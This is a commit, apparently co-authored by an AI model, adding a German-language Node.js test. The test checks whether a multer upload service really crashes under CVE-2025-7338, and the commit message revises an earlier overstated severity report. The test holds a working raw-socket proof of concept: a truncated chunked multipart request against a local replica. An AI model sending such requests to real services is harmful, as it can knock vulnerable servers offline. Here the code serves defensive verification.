Beleg: die multer-DoS-Lücke ist in unserem Setup nicht auslösbar
Gestern als "kritisch, 5 Anfragen töten den Dienst dauerhaft" gemeldet.
Bei genauer Prüfung heute stimmt das nicht:
- index.js hat einen process.on("uncaughtException")-Handler, der genau
das Prozess-Ende abfängt, das CVE-2025-7338 beschreibt. In drei
Angriffsvarianten (roher Socket, chunked ohne Abschluss-Chunk,
content-length-Lüge) blieb der Dienst am Leben.
- Die öffentliche Upload-Route hat eine eigene IP-Bremse (10/Stunde) und
multer-Härtung; trust proxy ist gesetzt, die Bremse greift pro echter IP.
multer 1.4.5 hat die CVE trotzdem (Fakt) — das Update auf 2.x bleibt
richtig als Wurzelbehandlung, ist aber Hygiene, kein Notfall. Dieser Test
dokumentiert den Nachweis, damit die Einordnung nachvollziehbar bleibt.
Co-Authored-By: Claude Opus 5 <[email protected]>
This commit is contained in:
@@ -0,0 +1,174 @@
|
||||
/* =====================================================================
|
||||
Stürzt der Dienst bei dem multer-Fehler wirklich ab?
|
||||
|
||||
WARUM DIESER TEST
|
||||
|
||||
Am 27.08.2026 hatte ich gemeldet: multer 1.4.5-lts.2 hat eine
|
||||
DoS-Lücke (CVE-2025-7338), ein fehlerhafter Upload beendet den
|
||||
Prozess, nach fünf Malen gibt systemd auf -> Dienst dauerhaft tot.
|
||||
|
||||
Beim Nacharbeiten fiel mir das Ende von index.js auf:
|
||||
|
||||
process.on("uncaughtException", (fehler) => console.error(...));
|
||||
|
||||
Ein registrierter uncaughtException-Handler verhindert genau das
|
||||
Beenden, das der CVE beschreibt. Damit steht meine eigene Meldung in
|
||||
Frage -- und eine Sicherheitsmeldung, die dramatischer klingt als die
|
||||
Wirklichkeit, ist genauso schädlich wie eine übersehene Lücke: Beim
|
||||
nächsten Mal glaubt sie niemand mehr.
|
||||
|
||||
Also gemessen statt vermutet. Der Test baut denselben Aufbau nach,
|
||||
den der echte Dienst hat, schickt den bösartigen Request und schaut,
|
||||
ob der Prozess danach noch antwortet.
|
||||
===================================================================== */
|
||||
import { spawn } from "node:child_process";
|
||||
import { writeFileSync, rmSync, mkdtempSync } from "node:fs";
|
||||
import { tmpdir } from "node:os";
|
||||
import { join } from "node:path";
|
||||
|
||||
const wurzel = mkdtempSync(join(tmpdir(), "multertest-"));
|
||||
const PORT = 47311;
|
||||
|
||||
/* Der Nachbau: dieselben multer-Einstellungen wie in index.js, und --
|
||||
entscheidend -- derselbe uncaughtException-Handler am Ende. */
|
||||
const server = `
|
||||
import express from "express";
|
||||
import multer from "multer";
|
||||
/* Jeder mögliche Weg wird laut protokolliert, damit sichtbar wird,
|
||||
WELCHER genommen wird -- nicht nur, ob der Dienst überlebt. */
|
||||
process.on("uncaughtException", (f) => console.error("WEG=uncaughtException", f?.message || f));
|
||||
process.on("unhandledRejection", (g) => console.error("WEG=unhandledRejection", g?.message || g));
|
||||
const app = express();
|
||||
const up = multer({
|
||||
storage: multer.diskStorage({
|
||||
destination: (req, file, cb) => cb(null, ${JSON.stringify(wurzel).replace(/\\\\/g, "/")}),
|
||||
filename: (req, file, cb) => cb(null, "x" + Date.now()),
|
||||
}),
|
||||
limits: { fileSize: 5 * 1024 * 1024 },
|
||||
fileFilter: (req, file, cb) => cb(null, ["image/jpeg","image/png","image/webp"].includes(file.mimetype)),
|
||||
});
|
||||
app.post("/upload", (req, res) => {
|
||||
up.single("image")(req, res, (err) => {
|
||||
if (err) { console.error("WEG=callback-fehler", err?.code || err?.message); return res.status(400).json({ ok:false }); }
|
||||
res.json({ ok: true });
|
||||
});
|
||||
});
|
||||
app.get("/lebt", (req, res) => res.json({ ok: true }));
|
||||
app.use((err, req, res, next) => {
|
||||
console.error("WEG=express-fehlerhandler", err?.code || err?.message);
|
||||
res.status(500).json({ ok: false });
|
||||
});
|
||||
app.listen(${PORT}, () => console.log("BEREIT"));
|
||||
`;
|
||||
/* Die Datei MUSS neben den Paketen liegen: Node sucht node_modules von
|
||||
der Datei aus aufwärts, nicht vom Arbeitsverzeichnis. In /tmp abgelegt
|
||||
findet sie weder express noch multer und startet gar nicht erst. */
|
||||
const datei = join(process.cwd(), "server-internal", "tmp-dos-nachbau.mjs");
|
||||
writeFileSync(datei, server);
|
||||
|
||||
const kind = spawn(process.execPath, [datei], { stdio: ["ignore", "pipe", "pipe"] });
|
||||
let ausgabe = "";
|
||||
kind.stdout.on("data", (d) => { ausgabe += d; });
|
||||
kind.stderr.on("data", (d) => { ausgabe += d; });
|
||||
|
||||
await new Promise((f) => {
|
||||
const warte = setInterval(() => { if (ausgabe.includes("BEREIT")) { clearInterval(warte); f(); } }, 100);
|
||||
setTimeout(() => { clearInterval(warte); f(); }, 8000);
|
||||
});
|
||||
|
||||
const version = (await import("./server-internal/node_modules/multer/package.json", { with: { type: "json" } })).default.version;
|
||||
console.log("\ngetestete multer-Fassung:", version);
|
||||
console.log("laeuft der Nachbau? ", ausgabe.includes("BEREIT") ? "ja" : "NEIN — Abbruch");
|
||||
if (!ausgabe.includes("BEREIT")) {
|
||||
console.log("Ausgabe:", ausgabe.slice(0, 400));
|
||||
kind.kill(); rmSync(wurzel, { recursive: true, force: true }); rmSync(datei, { force: true }); process.exitCode = 1;
|
||||
}
|
||||
|
||||
const lebt = async () => {
|
||||
try {
|
||||
const a = await fetch(`http://127.0.0.1:${PORT}/lebt`, { signal: AbortSignal.timeout(3000) });
|
||||
return a.ok;
|
||||
} catch { return false; }
|
||||
};
|
||||
|
||||
console.log("\n--- vorher ---");
|
||||
console.log(" Dienst antwortet:", await lebt() ? "ja" : "nein");
|
||||
|
||||
/* Der bösartige Request, diesmal RICHTIG.
|
||||
|
||||
fetch() taugt dafür nicht: Es sendet immer einen vollständigen, in
|
||||
sich stimmigen Request. Der Angriff aus CVE-2025-7338 besteht aber
|
||||
genau darin, dass der Client MEHR Daten ankündigt (content-length),
|
||||
als er sendet, und dann die Verbindung schließt. multer wartet auf
|
||||
den Rest, das Formular endet unerwartet -> "Unexpected end of form".
|
||||
|
||||
Das geht nur über einen rohen Socket, den man von Hand abschneidet. */
|
||||
import net from "node:net";
|
||||
|
||||
function boesartigerUpload(nr) {
|
||||
return new Promise((fertig) => {
|
||||
const grenze = "----angriff" + nr;
|
||||
/* Ein gueltig BEGONNENER Multipart-Teil, der busboy zum Parsen bringt,
|
||||
dann aber ohne Abschluss-Grenze endet. */
|
||||
const teil =
|
||||
`--${grenze}\r\n` +
|
||||
`Content-Disposition: form-data; name="image"; filename="a.png"\r\n` +
|
||||
`Content-Type: image/png\r\n\r\n` +
|
||||
`ANFANG-DER-DATEN-OHNE-ENDE`;
|
||||
/* chunked statt content-length: Ich sende einen gueltigen Chunk und
|
||||
schliesse dann die Verbindung, OHNE den abschliessenden 0-Chunk.
|
||||
Fuer busboy sieht das aus wie ein Formular, das mitten im Lesen
|
||||
abreisst -- genau der Ausloeser fuer "Unexpected end of form".
|
||||
Anders als beim harten destroy() hat Node den Request hier bereits
|
||||
an Express uebergeben, multer parst also schon. */
|
||||
const chunk = teil.length.toString(16) + "\r\n" + teil + "\r\n";
|
||||
const kopf =
|
||||
`POST /upload HTTP/1.1\r\n` +
|
||||
`Host: 127.0.0.1:${PORT}\r\n` +
|
||||
`Content-Type: multipart/form-data; boundary=${grenze}\r\n` +
|
||||
`Transfer-Encoding: chunked\r\n` +
|
||||
`Connection: close\r\n\r\n`;
|
||||
let erledigt = false;
|
||||
const schluss = () => { if (!erledigt) { erledigt = true; setTimeout(fertig, 200); } };
|
||||
const s = net.connect(PORT, "127.0.0.1", () => {
|
||||
s.write(kopf + chunk);
|
||||
/* busboy Zeit zum Anlesen geben, dann Verbindung beenden -- der
|
||||
0-Abschluss-Chunk kommt nie. */
|
||||
setTimeout(() => s.end(), 300);
|
||||
});
|
||||
s.on("error", () => {});
|
||||
s.on("close", schluss);
|
||||
/* Harte Grenze: Ein haengender Request (busboy wartet ewig auf den
|
||||
Rest) darf den Test nicht blockieren -- das Haengen IST bereits ein
|
||||
Befund, nur eben "Ressourcenleck", nicht "Absturz". */
|
||||
setTimeout(() => { try { s.destroy(); } catch {} schluss(); }, 2500);
|
||||
});
|
||||
}
|
||||
|
||||
console.log("\n--- fehlerhafter Upload wird geschickt (roher Socket) ---");
|
||||
for (let i = 1; i <= 6; i++) {
|
||||
await boesartigerUpload(i);
|
||||
const l = await lebt();
|
||||
console.log(` Versuch ${i}: Dienst danach ${l ? "lebt" : "TOT"}`);
|
||||
if (!l) break;
|
||||
}
|
||||
|
||||
console.log("\n--- Ergebnis ---");
|
||||
const amLeben = await lebt();
|
||||
console.log(amLeben
|
||||
? " Der Dienst lebt nach allen Versuchen. Absturz NICHT ausgeloest."
|
||||
: " Der Dienst ist TOT. Die Lücke beendet den Prozess wie beschrieben.");
|
||||
console.log("\n--- welchen Weg nahm der Fehler? ---");
|
||||
const wege = ausgabe.split("\n").filter((z) => z.includes("WEG=")).map((z) => z.trim());
|
||||
if (!wege.length) {
|
||||
console.log(" KEINEN — der Angriff hat multer gar nicht erreicht. Test aussagelos.");
|
||||
} else {
|
||||
const zaehl = {};
|
||||
for (const w of wege) { const k = w.split(" ")[0]; zaehl[k] = (zaehl[k] || 0) + 1; }
|
||||
for (const [k, n] of Object.entries(zaehl)) console.log(` ${k} (${n}x)`);
|
||||
console.log(" Beispiel:", wege[0]);
|
||||
}
|
||||
|
||||
kind.kill();
|
||||
rmSync(wurzel, { recursive: true, force: true });
|
||||
rmSync(datei, { force: true });
|
||||
Reference in New Issue
Block a user